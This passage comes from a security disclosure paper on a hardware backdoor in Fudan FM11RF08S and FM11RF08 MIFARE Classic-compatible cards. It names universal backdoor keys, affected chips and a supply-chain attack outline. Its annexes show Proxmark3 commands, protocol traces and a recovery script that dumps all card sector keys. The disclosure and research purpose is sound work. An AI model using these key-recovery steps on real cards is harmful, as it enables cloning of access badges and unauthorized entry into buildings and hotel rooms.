𝑛𝑇𝐴

 and 𝑛𝑇𝐵
 ;

‣ Use the backdoor in a first authentication then the
target key types in a nested authentication, to col-
lect {𝑛𝑇𝐴

} and {𝑛𝑇𝐵
} and the corresponding par-

ity errors ;
• For each sector

‣ If 𝑛𝑇𝐴
≠ 𝑛𝑇𝐵

, run staticnested_1nt
from Annex  A.6 on each key, then
staticnested_2x1nt_rf08s from Annex A.7 on
both candidate lists to reduce them ;

‣ Else run staticnested_1nt on one of them ;
• Look for common keys across sectors candidate lists. If

any, test them first ;
• When a key is found in a sector and nonces are different,

use staticnested_2x1nt_rf08s_1key from Annex A.8
to find the other key and test returned candidate(s).

We implemented a script applying this strategy in the Prox-
mark3[12], cf Annex A.9 for usage and examples.

All in all, the actual speed depends on the exact configura-
tion of the card as e.g. it is slower to break the sector keys if
keyA==keyB and are not reused on other sectors – a corner
case rarely seen in real deployments.

To illustrate the duration of recovering all the keys of a
FM11RF08S depending on the reuse of some keys across the
card, we ran a few tests , on a card configured with the follow-
ing layouts.

• 32 random keys
‣ 17 minutes 22 seconds

• 16 random keys, with keyA = keyB in each sector3

‣ 32 minutes 52 seconds
• 24 random keys, 8 being reused in 2 sectors each4

‣ 40 seconds

3the worst possible corner case
4an ideal situation

Cf. Annex A.9 for details on the tested keys.
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XII. Light-Fast Supply Chain Attack

It is clear that any entity aware of the backdoor can already
mount card-only attacks without any precondition on the card
keys, in at most half an hour for the totality of the sector keys.

But, with our current partial knowledge, anyone in the sup-
ply chain could already make the attack instantaneous.

• Before delivering to a target customer, probe each card
with the default FFFFFFFFFFFF key to collect and decrypt
nested {n_T} of each sector. It is enough to store each
16-bit LFSR ancestor and the UID, so 36 bytes per card ;

• On the field, for each key to break, authenticate with the
backdoor key then initiate a nested authentication with
the backdoor key to collect {n_T} and decrypt it ;

• Generate the few tens of thousand key candidates as ex-
plained in Section VIII and Section III.D ;

• Filter the candidates by comparing their LFSR ancestor
with the one previously stored at step 1, as per Section X
and recover the key ;

The attack does not require any key candidates bruteforce
on the card anymore, just one single nested authentication at-
tempt.

Of course, if the 𝑛𝑇  of each sector is generated by deriving a
common value somehow based on the sector number, there is
no need for the supplier to collect LFSR ancestors for all sec-
tors, just one. And if the 𝑛𝑇  generation can also be linked to
e.g. the UID, the first collection step can be skipped entirely.

XIII. Extending Verification Methods

The NFC Label Tools application mentioned in Section IV.C
can only apply the originality verification methods if the block
0 can be read with the default all FF  key.

Using the backdoor key, we can perform the advanced ver-
ification method, no matter if card keys are unknown.

• Read block 0 with the backdoor, cf Section A.10.2 ;
• Submit block 0 to the simple verification method API, cf

Listing 3 and check answer ;
• Submit block 0 to the advanced verification method API

to get block 128 keyA, cf Listing 4 ;
• Try to authenticate to block 128 with retrieved keyA.

XIV. Looking at the older FM11RF08

We test the backdoor authentication commands and… we
get some {n_T} as well! But the FM11RF08S backdoor key does
not work on our FM11RF08 samples.

XV. Breaking an Older Backdoor Key

FM11RF08 is susceptible to the classic nested attack men-
tioned in Section III.B. So, it is just a matter of adapting the

Proxmark3 code to use a backdoor command, and the key is
found immediately, as shown in Annex A.10.3.

A31667A8CEC1
Listing 12: Older universal backdoor key

The same key works for all sectors and all FM11RF08 “011D”,
“021D” and “031D” samples we got. But it goes beyond.

Even very old FM11RF08 samples with manufacturer data
6263646566676869 share the same backdoor and the same
key5. It is hard to know since when these cards are in circu-

5Beware that a few other clones and magic tags share the same manu-
facturer data as well, but not the backdoor.

lation, but a FM11RF08 datasheet from May 2008 can still be
found [23] and the FM11RF08 is mentioned on a WaybackMa-
chine snapshot of the Fudan website in November 2007 [24].

The same page also mentions the FM11RF32, a discontinued
4k version with a weird SAK=20 value, as setting its sixth bit
means the card is supposed to be compliant to ISO14443-4 and
reply to ATS. But this flag must be ignored and the card won’t
work properly on some readers, including smartphones. We
happen to have some samples and we can confirm the same
backdoor key works on FM11RF32[25] too.

After we shared our preliminary results, Michegianni re-
ported that the FM1208-10 supports the old backdoor key
as well and Anton Savelev ran a few tests on it for us,
cf Section  XVIII. Thanks to them! The FM1208-10 a.k.a.
FM1208M01[26] is a 8051 CPU card (ISO14443A-4) featuring
MIFARE Classic compatibility.

XVI. Darknested Attack

It is a pretty straightforward attack that probably does not
deserve its own name, but it sounds cool. Darknested is using
the knowledge of this rather dark backdoor key revealed in
Section XV as an easy way to bootstrap a nested attack when
a first known key is required, rather than using the darkside
attack. The Fudan cards always leak a NACK, as mentioned at
the end of Section II.C, the darkside attack is quite fast anyway.
But the method is still interesting on some circumstances, as
we will see in a moment. See Annex A.10.5 for an example.

XVII. USCUID/GDM

Magic MIFARE Classic cards referred as USCUID or GDM
[27] are highly configurable, to activate a number of magic fea-
tures (gen1a, cuid, shadow mode,…) but also to enable a Static
encrypted nonce mode.

The static encrypted nonce mechanism differs from the
FM11RF08S and it requires more study, not covered in this pa-
per.

XVIII. Icing on the cake
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While testing the backdoor keys on our cards collection,
trying to spot Fudan cards, we realized that some non-Fudan
cards accept authentication commands ranging from 62** to
6f** as well, but with the regular keys.

But, quite surprisingly, some other cards, aside from the Fu-
dan ones, accept the same backdoor authentication commands
using the same key as for the FM11RF08!

This can be verified quite simply with the Proxmark3, now
that we have added support for the backdoor authentication
commands, as shown in Annex A.10.4.

At this stage, it is important to be as sure as possible of the
authenticity of these cards, aside from what their block 0 may
indicate. In Annex A.12, we used a few behavioral metrics to
compare them.

After thorough analysis, we can safely claim that the follow-
ing cards contain the backdoor with the A31667A8CEC1 key,
including the Fudan ones mentioned in Section XV.

• Fudan FM11RF08 “6263646566676869”
• Fudan FM11RF08 “011D”, “021D” and “031D”
• Fudan FM11RF32
• Fudan FM1208-10
• Infineon SLE66R35 possibly produced at least during

a period 1996-20136 ;
• NXP MF1ICS5003 produced at least between 1998 and

2000 ;
• NXP MF1ICS5004 produced at least in 2001.

6We are not sure about the interpretation of the manufacturer data as
a production date.

The following cards support the backdoor authentication com-
mands, but with the regular keyA/keyB.

• NXP MF1ICS5005 produced in fab ICN87 at least between
2001 and 2010 ;

• NXP MF1ICS5006 produced in fab Fishkill8 at least be-
tween 2005 and 2008 ;

• NXP MF1ICS5007 produced in fab ASMC9 at least in
2010 ;

• USCUID/GDM magic cards.

7NXP fab located in Nijmegen, Netherlands.
8NXP fab in Fishkill, New York, US, for sale in 2008 but finally closed

in 2009.
9Located in Shanghai, China. Initially a joint venture with Philips Semi-

conductors in 1988 then renamed ASMC in 1995 and reorganized into a
foreign-invested joint stock company in 2004, NXP stocks sold in 2017,
finally merged in GTA in 2019.

The list will be updated by the community according to their
findings.

Among the cards mentioned above, the SLE66R35,
MF1ICS5003 and MF1ICS5004 can really benefit from the dark-
nested attack presented in Section XVI, as recovering a first
key with the help of the darkside attack is much slower.

XIX. Conclusion

The FM11RF08S chip by Shanghai Fudan Microelectronics
was thought to be the most secure implementation of MIFARE
Classic, thwarting all known card-only attacks. However, we
have demonstrated various attacks, uncovered the existence
of a hardware backdoor and recovered its key, which allows
us to launch new attacks to dump and clone these cards, even
if all their keys are properly diversified. The presence of the
backdoor in this product and in all previous FM11RF08 cards
since at least 2007, raises several questions, particularly given
that these two chip references are not limited to the Chinese
market. For example, the author found these cards in numer-
ous hotels across the US, Europe, and India. Additionally, what
are we to make of the fact that old NXP and Infineon cards
share the very same backdoor key?

Consumers should swiftly check their infrastructure and as-
sess the risks. Many are probably unaware that the MIFARE
Classic cards they obtained from their supplier are actually
Fudan FM11RF08 or FM11RF08S.

Nevertheless, it is important to remember that the MIFARE
Classic protocol is intrinsically broken, regardless of the card.
It will always be possible to recover the keys if an attacker has
access to the corresponding reader. There are many more ro-
bust alternatives on the market (but we cannot guarantee the
absence of hardware backdoors…).

The various tools and attacks developed in the context of
this paper have now been merged into the Proxmark3 source
code, as seen in the Annexes.

A number of questions for future research are listed in An-
nex A.13.

That’s all, folks.
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A Annexes
A.1 CRYPTO-1 First Authentication Protocol & Example
Notation {} indicates that data is encrypted.

𝑠 ≔ crypto1_create(key) initializes the CRYPTO1 cipher (a 48-bit LFSR with a non-linear filter function that outputs one bit
when clocked). The state 𝑠 keeps the LFSR state, updated by ks := crypto1_word(𝑠, data, is_encrypted) which advances the
LFSR 32 times, possibly mixing its state with some data, which can be plaintext or encrypted, and outputs 32 bits of keystream.

Given a 32-bit sequence, suc() computes the next 32-bit sequence after one single clock of a 16-bit LFSR that can be repre-
sented by the polynomial 𝑥16 + 𝑥14 + 𝑥13 + 𝑥11 + 1.

Reader Tag Example

⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵
uid (← 0DB3FA11 via anticol)

cmd ≔ |AuthA
AuthB

|‖block‖CRC 6000F57B

⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶
cmd → 60 00 F5 7B

Check CRC ✔ 

𝑠 ≔ crypto1_create(key) FFFFFFFFFFFF

Generate 𝑛𝑇 E0512BB

ks0 ≔ crypto1_word(𝑠, uid ⊕ 𝑛𝑇 , 0) FFEFB431

⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵
𝑛𝑇 ← E0 51 2B B5

𝑠 ≔ crypto1_create(key) FFFFFFFFFFFF

ks0 ≔ crypto1_word(𝑠, uid ⊕ 𝑛𝑇 , 0) FFEFB431

Generate 𝑛𝑅 12345678

ks1 ≔ crypto1_word(𝑠, 𝑛𝑅, 0) A376E628

{𝑛𝑅} ≔ 𝑛𝑅 ⊕ ks1 B142B050

𝑎𝑅 ≔ suc64(𝑛𝑇 ) 56F373EE

ks2 ≔ crypto1_word(𝑠, 0, 0) 61D742F1

{𝑎𝑅} ≔ ks2 ⊕ 𝑎𝑅 3724311F

⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶
{nR|aR} → B1 42!B0!50!37 24 31!1F!

ks1 ≔ crypto1_word(𝑠, {𝑛𝑅}, 1) A376E628

𝑛𝑅 ≔ ks1 ⊕ {𝑛𝑅} 12345678

ks2 ≔ crypto1_word(𝑠, 0, 0) 61D742F1

𝑎𝑅 ≔ ks2 ⊕ {𝑎𝑅} 56F373EE

𝑎𝑅 ≟ suc64(𝑛𝑇 ) 56F373EE ✔ 

𝑎𝑇 ≔ suc96(𝑛𝑇 ) 529F965F

ks3 ≔ crypto1_word(𝑠, 0, 0) 5C7AB0A6

{𝑎𝑇 } ≔ ks3 ⊕ 𝑎𝑇 0EE526F9

⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵
{aT} ← 0E E5!26!F9

ks3 ≔ crypto1_word(𝑠, 0, 0) 5C7AB0A6

𝑎𝑇 ≔ ks3 ⊕ {𝑎𝑇 } 529F965F

𝑎𝑇 ≟ suc96(𝑛𝑇 ) 529F965F ✔ 

Table 3: CRYPTO-1 First Authentication Protocol
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A.2 CRYPTO-1 Nested Authentication Protocol & Example
Following immediately Annex A.1 example and inner states.

Reader Tag Example

ks4 ≔ crypto1_word(𝑠, 0, 0) 4882918E

cmd ≔ |AuthA
AuthB

|‖block‖CRC 6000F57B

{cmd} ≔ ks4 ⊕ cmd 288264F5

⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶
{cmd} → 28  82! 64! F5

ks4 ≔ crypto1_word(𝑠, 0, 0) 4882918E

cmd ≔ ks4 ⊕ {cmd} 6000F57B

Check CRC ✔ 

𝑠 ≔ crypto1_create(key) FFFFFFFFFFFF

Generate 𝑛𝑇 BF53BA5F

ks0 ≔ crypto1_word(𝑠, uid ⊕ 𝑛𝑇 , 0) FFDF2CE6

{𝑛𝑇 } ≔ ks0 ⊕ 𝑛𝑇 408C96B9

⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵
{nT} ← 40!8C!96!B9!

𝑠 ≔ crypto1_create(key) FFFFFFFFFFFF

ks0 ≔ crypto1_word(𝑠, uid ⊕ 𝑛𝑇 , 0) FFDF2CE6

𝑛𝑇 ≔ ks0 ⊕ {𝑛𝑇 } BF53BA5F

Generate 𝑛𝑅 12345678

ks1 ≔ crypto1_word(𝑠, 𝑛𝑅, 0) 2EEE0441

{𝑛𝑅} ≔ 𝑛𝑅 ⊕ ks1 3CDA5239

𝑎𝑅 ≔ suc64(𝑛𝑇 ) B2F7159B

ks2 ≔ crypto1_word(𝑠, 0, 0) 90EA5932

{𝑎𝑅} ≔ ks2 ⊕ 𝑎𝑅 221D4CA9

⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶⟶
{nR|aR} → 3C DA 52 39 22 1D 4C A9

ks1 ≔ crypto1_word(𝑠, {𝑛𝑅}, 1) 2EEE0441

𝑛𝑅 ≔ ks1 ⊕ {𝑛𝑅} 12345678

ks2 ≔ crypto1_word(𝑠, 0, 0) 90EA5932

𝑎𝑅 ≔ ks2 ⊕ {𝑎𝑅} B2F7159B

𝑎𝑅 ≟ suc64(𝑛𝑇 ) B2F7159B ✔ 

𝑎𝑇 ≔ suc96(𝑛𝑇 ) 6A3A6E02

ks3 ≔ crypto1_word(𝑠, 0, 0) 39EB1EA4

{𝑎𝑇 } ≔ ks3 ⊕ 𝑎𝑇 53D170A6

⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵⟵
{aT} ← 53!D1 70 A6!

ks3 ≔ crypto1_word(𝑠, 0, 0) 39EB1EA4

𝑎𝑇 ≔ ks3 ⊕ {𝑎𝑇 } 6A3A6E02

𝑎𝑇 ≟ suc96(𝑛𝑇 ) 6A3A6E02 ✔ 

Table 4: CRYPTO-1 Nested Authentication Protocol
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A.3 Information about Static Encrypted Nonce tool in Proxmark3: hf mf isen
For our analysis needs, we implemented a tool in the Proxmark3[12] to test various nested authentication scenarii.

It implements nested authentication and collects encrypted nonces and their parity errors, and when the correct key is pro-
vided, the decrypted nT and its index if it is a nT generated by the lfsr16 PRNG.

It has numerous options to study the impact of key value, block number, key type (including the backdoor ones), chaining
of commands, corruptions, etc. on the static encrypted nonces values.

A.3.1 Usage
Syntax corresponding to commit 27d5f2d.

[usb] pm3 --> hf mf isen -h

Information about Static Encrypted Nonce properties in a MIFARE Classic card

usage:
    hf mf isen
 [-hab] [--blk <dec>] [-c <dec>] [-k <hex>] [--blk2 <dec>] [--a2] [--b2] [--c2 <dec>] [--key2 <hex>]
                    [-n <dec>] [--reset] [--hardreset] [--addread] [--addauth] [--incblk2] [--corruptnrar]
                    [--corruptnrarparity]

options:
    -h, --help                     This help
    --blk <dec>                    block number
    -a                             input key type is key A (def)
    -b                             input key type is key B
    -c <dec>                       input key type is key A + offset
    -k, --key <hex>                key, 6 hex bytes
    --blk2 <dec>                   nested block number (default=same)
    --a2                           nested input key type is key A (default=same)
    --b2                           nested input key type is key B (default=same)
    --c2 <dec>                     nested input key type is key A + offset
    --key2 <hex>                   nested key, 6 hex bytes (default=same)
    -n <dec>                       number of nonces (default=2)
    --reset                        reset between attempts, even if auth was successful
    --hardreset                    hard reset (RF off/on) between attempts, even if auth was successful
    --addread                      auth(blk)-read(blk)-auth(blk2)
    --addauth                      auth(blk)-auth(blk)-auth(blk2)
    --incblk2                      auth(blk)-auth(blk2)-auth(blk2+4)-...
    --corruptnrar                  corrupt {nR}{aR}, but with correct parity
    --corruptnrarparity            correct {nR}{aR}, but with corrupted parity

examples/notes:
    hf mf isen                    
    Default behavior:             
    auth(blk)-auth(blk2)-auth(blk2)-...
    Default behavior when wrong key2:
    auth(blk)-auth(blk2) auth(blk)-auth(blk2) ...
                                  

A.4 Example
[usb] pm3 --> hf mf isen

[=] --- ISO14443-a Information ---------------------
[+]  UID: 5C 46 7F 63 
[+] ATQA: 00 04
[+]  SAK: 08 [2]
[#] select
[#] auth        cmd: 60 00 | uid: 5c467f63 | nr: 370db547 @| nt: f0a895da @idx 53334| par: 1010 ok
[#] auth nested cmd: 60 00 | uid: 5c467f63 | nr: 87e0b293 @| nt: 255ff1a9 @idx 37482| par: 1111 ok | ntenc: da106b18  | parerr: 1110
[#] Nonce distance: 49683
[#] auth nested cmd: 60 00 | uid: 5c467f63 | nr: 76f7fe63 @| nt: 255ff1a9 @idx 37482| par: 1111 ok | ntenc: da106b18  | parerr: 1110
[#] Nonce distance: 0
[=] nTenc da106b18 par {1111}=010x | ks ff4f9ab1 | nT 255ff1a9 par 0101 | lfsr16 index 37482
[+] Static enc nonce..... yes
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A.5 Reused Keys Nested Attack in Proxmark3: staticnested_0nt

A.5.1 Usage
Syntax corresponding to commit 27d5f2d.

$ tools/mfc/card_only/staticnested_0nt
Usage:
  tools/mfc/card_only/staticnested_0nt <uid1> <nt_enc1> <nt_par_err1> <uid2> <nt_enc2> <nt_par_err2> ...
  UID placeholder: if uid(n)==uid(n-1) you can use '.' as uid(n+1) placeholder
  parity example:  if nt in trace is 7b! fc! 7a! 5b , then nt_enc is 7bfc7a5b and nt_par_err is 1110
Example:
  tools/mfc/card_only/staticnested_0nt a13e4902 2e9e49fc 1111 . 7bfc7a5b 1110 a17e4902 50f2abc2 1101
                                       +uid1    |        |    +uid2=uid1 |    +uid3    |        |
                                                +nt_enc1 |      +nt_enc2 |             +nt_enc3 |
                                                         +nt_par_err1    +nt_par_err2           +nt_par_err3

A.5.2 Example

$ tools/mfc/card_only/staticnested_0nt a13e4902 2e9e49fc 1111 . 7bfc7a5b 1110 a17e4902 50f2abc2 1101
Generating nonce candidates...
uid=a13e4902 nt_enc=2e9e49fc nt_par_err=1111 nt_par_enc=0110 1/3: 8192
uid=a13e4902 nt_enc=7bfc7a5b nt_par_err=1110 nt_par_enc=0010 2/3: 8192
uid=a17e4902 nt_enc=50f2abc2 nt_par_err=1101 nt_par_enc=0101 3/3: 8192
Finding key candidates...
All threads spawn...
Thread  19  99% keys[0]:536209288 keys[1]:  222 keys[2]:  213

Finding phase complete.
Analyzing keys...
nT(0): 536209288 key candidates
nT(1): 222 key candidates matching nT(0)
nT(2): 213 key candidates matching nT(0)
Key ffffffffffff found in 3 arrays: 0,  1,  2

A.5.3 Breaking FM11RF08S Backdoor Key
Assuming you know block 0 keyA, get 3 encrypted nonces and their parity errors.

[usb] pm3 --> hf mf isen -n3 --c2 4 --incblk2 --blk 0 --key FFFFFFFFFFFF

(showing only the relevant lines)

[#] auth nested cmd: 64 00 | uid: 5c467f63 | nr: 53d1a7e1 @| nt: 03f5a9f2  idx    -1| par: 1010 bad| ntenc: fc0a127e  | parerr: 0101
[#] auth nested cmd: 64 04 | uid: 5c467f63 | nr: b3f2dcb7 @| nt: 9681219b  idx    -1| par: 1000 bad| ntenc: 69fe84d6  | parerr: 0010
[#] auth nested cmd: 64 08 | uid: 5c467f63 | nr: 62811dbd @| nt: 652bf672  idx    -1| par: 0100 ok | ntenc: 9ae43e79  | parerr: 1000

$ tools/mfc/card_only/staticnested_0nt 5c467f63 fc0a127e 0101 . 69fe84d6 0010 . 9ae43e79 1000
Generating nonce candidates...
uid=5c467f63 nt_enc=fc0a127e nt_par_err=0101 nt_par_enc=1010 1/3: 8192
uid=5c467f63 nt_enc=69fe84d6 nt_par_err=0010 nt_par_enc=1000 2/3: 8192
uid=5c467f63 nt_enc=9ae43e79 nt_par_err=1000 nt_par_enc=0100 3/3: 8192
Finding key candidates...
All threads spawn...
Thread  14  97% keys[0]:536652968 keys[1]:  384 keys[2]:  241

Finding phase complete.
Analyzing keys...
nT(0): 537162924 key candidates
nT(1): 384 key candidates matching nT(0)
nT(2): 241 key candidates matching nT(0)
Key a396efa4e24f found in 3 arrays: 0,  1,  2
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A.6 Backdoored Nested Attack in Proxmark3: staticnested_1nt

A.6.1 Usage
Syntax corresponding to commit 27d5f2d.

$ tools/mfc/card_only/staticnested_1nt
Usage:
  tools/mfc/card_only/staticnested_1nt <uid:hex> <sector:dec> <nt:hex> <nt_enc:hex> <nt_par_err:bin>
  parity example:  if for block 63 == sector 15, nt in trace is 7b! fc! 7a! 5b
                   then nt_enc is 7bfc7a5b and nt_par_err is 1110
Example:
  tools/mfc/card_only/staticnested_1nt a13e4902 15 d14191b3 2e9e49fc 1111
                                       +uid     +s +nt      +nt_enc  +nt_par_err

A.6.2 Example
Get clear nested nT of target block 7 == sector 1, “keyA”

[usb] pm3 --> hf mf isen -n1 --blk 7 -c 4 --key a396efa4e24f

(showing only the relevant lines)

[#] auth nested cmd: 64 07 | uid: 5c467f63 | nr: de234cce @| nt: c87825a2 @idx 33598| par: 1100 ok | ntenc: 11b5d1d4  | parerr: 0111

Get encrypted nonce and its parity errors of target block 7, keyA

[usb] pm3 --> hf mf isen -n1 --blk 7 -c 4 --key a396efa4e24f --a2

[#] auth nested cmd: 60 07 | uid: 5c467f63 | nr: cd8ed150 @| nt: e4640b1d @idx    -1| par: 1010 bad| ntenc: bd3928fb  | parerr: 0100

$ tools/mfc/card_only/staticnested_1nt 5c467f63 1 c87825a2 bd3928fb 0100
uid=5c467f63 nt=c87825a2 nt_enc=bd3928fb nt_par_err=0100 nt_par_enc=1010 ks1=75410d59
Finding key candidates...
Finding phase complete, found 38515 keys

Bruteforce keyA given the generated dictionary.

[usb] pm3 --> hf mf fchk --blk 7 -a -f keys_5c467f63_01_c87825a2.dic --no-default
[+] Loaded 38515 keys from dictionary file `keys_5c467f63_01_c87825a2.dic`
[=] Running strategy 1
 . Testing 28730/38515 74,6%
[+] Key A for block  7 found: aaaaaaaaaa07

[=] Time in checkkeys (fast) 195,5s
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A.7 Faster Backdoored Nested Attack in Proxmark3: staticnested_2x1nt_rf08s

A.7.1 Usage
Syntax corresponding to commit 27d5f2d.

$ tools/mfc/card_only/staticnested_2x1nt_rf08s
Usage:
  ./staticnested_2x1nt_rf08s keys_<uid:08x>_<sector:02>_<nt1:08x>.dic keys_<uid:08x>_<sector:02>_<nt2:08x>.dic
  where both dict files are produced by staticnested_1nt *for the same UID and same sector*

A.7.2 Example
Starting from Annex A.6.2 example, we want a second dictionary for keyB.

[usb] pm3 --> hf mf isen -n1 --blk 7 -c 5 --key a396efa4e24f

[#] auth nested cmd: 65 07 | uid: 5c467f63 | nr: 63e11ca2 @| nt: f68c32ea @idx 57123| par: 0000 ok | ntenc: 2bc5e28a  | parerr: 1110

[usb] pm3 --> hf mf isen -n1 --blk 7 -c 5 --key a396efa4e24f --b2

[#] auth nested cmd: 61 07 | uid: 5c467f63 | nr: 27727b1b @| nt: 786823bf @idx    -1| par: 0101 bad| ntenc: a1a54308  | parerr: 0001

$ tools/mfc/card_only/staticnested_1nt 5c467f63 1 f68c32ea a1a54308 0001
uid=5c467f63 nt=f68c32ea nt_enc=a1a54308 nt_par_err=0001 nt_par_enc=0101 ks1=572971e2
Finding key candidates...
Finding phase complete, found 30623 keys

Then we can filter jointly both dictionaries.

$ tools/mfc/card_only/staticnested_2x1nt_rf08s keys_5c467f63_01_c87825a2.dic
keys_5c467f63_01_f68c32ea.dic
keys_5c467f63_01_c87825a2.dic: 38515 keys loaded
keys_5c467f63_01_f68c32ea.dic: 30623 keys loaded
keys_5c467f63_01_c87825a2_filtered.dic: 14328 keys saved
keys_5c467f63_01_f68c32ea_filtered.dic: 13589 keys saved

Bruteforce keyA given the generated dictionary.

[usb] pm3 --> hf mf fchk --blk 7 -a -f keys_5c467f63_01_c87825a2_filtered.dic --no-default
[+] Loaded 14328 keys from dictionary file `keys_5c467f63_01_c87825a2_filtered.dic`
[=] Running strategy 1
 . Testing 10625/14328 74,2%
[+] Key A for block  7 found: aaaaaaaaaa07

[=] Time in checkkeys (fast) 72,5s
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A.8 Faster Backdoored Nested Attack in Proxmark3: staticnested_2x1nt_rf08s_1key

A.8.1 Usage
Syntax corresponding to commit 27d5f2d.

$ tools/mfc/card_only/staticnested_2x1nt_rf08s_1key
Usage:
  tools/mfc/card_only/staticnested_2x1nt_rf08s_1key <nt1:08x> <key1:012x> keys_<uid:08x>_<sector:02>_<nt2:08x>.dic
  where dict file is produced by rf08s_nested_known *for the same UID and same sector* as provided nt and key

A.8.2 Example
Starting from Annex A.7.2 example, we know keyA and want to find keyB without using fchk.

$ tools/mfc/card_only/staticnested_2x1nt_rf08s_1key c87825a2 AAAAAAAAAA07
keys_5c467f63_01_f68c32ea_filtered.dic
keys_5c467f63_01_f68c32ea_filtered.dic: 13589 keys loaded
MATCH: key2=bbbbbbbbbb07
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A.9 FM11RF08S Automation Script in Proxmark3

A.9.1 Usage
Syntax corresponding to commit 27d5f2d.

[usb] pm3 --> script run fm11rf08s_recovery.py -h
[+] executing python /usr/local/bin/../share/proxmark3/pyscripts/fm11rf08s_recovery.py
[+] args '-h'
usage: fm11rf08s_recovery.py [-h] [-x] [-y] [-d]

A script combining staticnested* tools to recover all keys from a FM11RF08S card.

options:
  -h, --help            show this help message and exit
  -x, --no-init-check   Do not run an initial fchk for default keys
  -y, --no-final-check  Do not run a final fchk with the found keys
  -d, --debug           Enable debug mode

To measure the actual duration of recovering all the keys of a FM11RF08S, we ran a few cracking tests on a card with various
configurations generated by Python scripts.

A.9.2 Example with 32 random keys
import random
for i in range(3, 64, 4):
    print(f"hf mf wrbl --blk {i} "
          f"-d {random.randint(0, 1 << 48):012X}FF078069{random.randint(0, 1 << 48):012X}")

Listing 13: Generate Proxmark3 commands to configure a tag with 32 random keys

In our test, it resulted in the following Proxmark3 commands, which we applied to a card.

hf mf wrbl --blk 3 -d 059E2905BFCCFF078069268B753AD4AC
hf mf wrbl --blk 7 -d 558EE17E0008FF0780690BF54BD7107C
hf mf wrbl --blk 11 -d 079C24ACF18CFF0780691CAFB32699D0
hf mf wrbl --blk 15 -d 7201D5B22C82FF078069B4F2D05D7F38
hf mf wrbl --blk 19 -d ED58B4CA888AFF07806933E7B73607F7
hf mf wrbl --blk 23 -d ECCD64C991A8FF078069837DFB4738A1
hf mf wrbl --blk 27 -d EDEC16B6363AFF0780698F3EE01C031D
hf mf wrbl --blk 31 -d 5520667A4E04FF0780694FBCA5272A47
hf mf wrbl --blk 35 -d 7D8910E7BCA1FF078069F0044771663C
hf mf wrbl --blk 39 -d 59AA8DA3283AFF07806969A18517CFDA
hf mf wrbl --blk 43 -d 9C69D89E6D3CFF0780693A75A3770BE9
hf mf wrbl --blk 47 -d 3683E7E68E7EFF0780699904C28EEBF6
hf mf wrbl --blk 51 -d 4D9583D3356DFF0780691617EC281DEB
hf mf wrbl --blk 55 -d DD856A74817EFF078069E26256D54033
hf mf wrbl --blk 59 -d 1684DAC6DBE6FF078069538E660BF14A
hf mf wrbl --blk 63 -d 4B021D237DBDFF0780696EE621EC9752

Then, we applied our script chaining all the steps mentioned in the paper.

[usb] pm3 --> script run fm11rf08s_recovery.py -x -y
[+] executing python .../pyscripts/fm11rf08s_recovery.py
[+] args '-x -y'
UID: 5C467F63
Getting nonces...
Processing traces...
Running staticnested_1nt & 2x1nt when doable...
Looking for common keys across sectors...
Brute-forcing keys... Press any key to interrupt
Sector  0 keyA = 059e2905bfcc
...
Sector 15 keyB = 6ee621ec9752
...
[+] Generating binary key file
[+] Found keys have been dumped to `hf-mf-5C467F63-key.bin`
--- 17 minutes 22 seconds ---

[+] finished fm11rf08s_recovery.py
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A.9.3 Example with 16 random keys, with keyA = keyB in each sector
import random
for i in range(3, 64, 4):
    key = random.randint(0, 1 << 48)
    print(f"hf mf wrbl --blk {i} -d {key:012X}FF078069{key:012X}")

Listing 14: Generate Proxmark3 commands to configure a tag with 16 random keys, with keyA = keyB in each sector

In our test, it resulted in the following Proxmark3 commands, which we applied to a card.

hf mf wrbl --blk 3 -d 11A41F3E3530FF07806911A41F3E3530
hf mf wrbl --blk 7 -d 701A8FE09FA1FF078069701A8FE09FA1
hf mf wrbl --blk 11 -d C0CB1FCC3C19FF078069C0CB1FCC3C19
hf mf wrbl --blk 15 -d A5E847C9AFCAFF078069A5E847C9AFCA
hf mf wrbl --blk 19 -d 1476FA753BB7FF0780691476FA753BB7
hf mf wrbl --blk 23 -d CC22AC14C49CFF078069CC22AC14C49C
hf mf wrbl --blk 27 -d 783F1C948615FF078069783F1C948615
hf mf wrbl --blk 31 -d 042206D18EADFF078069042206D18EAD
hf mf wrbl --blk 35 -d 3DFD44BEB7BBFF0780693DFD44BEB7BB
hf mf wrbl --blk 39 -d 42554EDEB113FF07806942554EDEB113
hf mf wrbl --blk 43 -d EBCA17342ABAFF078069EBCA17342ABA
hf mf wrbl --blk 47 -d CA1D466D44E5FF078069CA1D466D44E5
hf mf wrbl --blk 51 -d 53CDD8A9C36EFF07806953CDD8A9C36E
hf mf wrbl --blk 55 -d A795B458E8DDFF078069A795B458E8DD
hf mf wrbl --blk 59 -d 6910DC14D0E9FF0780696910DC14D0E9
hf mf wrbl --blk 63 -d BECB15C2DA08FF078069BECB15C2DA08

Then, we applied our script chaining all the steps mentioned in the paper.

[usb] pm3 --> script run fm11rf08s_recovery.py -x -y
[+] executing python .../pyscripts/fm11rf08s_recovery.py
[+] args '-x -y'
UID: 5C467F63
Getting nonces...
Processing traces...
Running staticnested_1nt & 2x1nt when doable...
Looking for common keys across sectors...
Brute-forcing keys... Press any key to interrupt
Sector  0 keyA = 11a41f3e3530
...
Sector 15 keyB = becb15c2da08
...
[+] Generating binary key file
[+] Found keys have been dumped to `hf-mf-5C467F63-key.bin`
--- 32 minutes 52 seconds ---

[+] finished fm11rf08s_recovery.py
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A.9.4 Example with 24 random keys, 8 being reused in 2 sectors each
import random
for i in range(3, 64, 16):
    keyA = random.randint(0, 1 << 48)
    keyB = random.randint(0, 1 << 48)
    print(f"hf mf wrbl --blk {i} -d {keyA:012X}FF078069{keyB:012X}")
    # reuse keyA
    keyB = random.randint(0, 1 << 48)
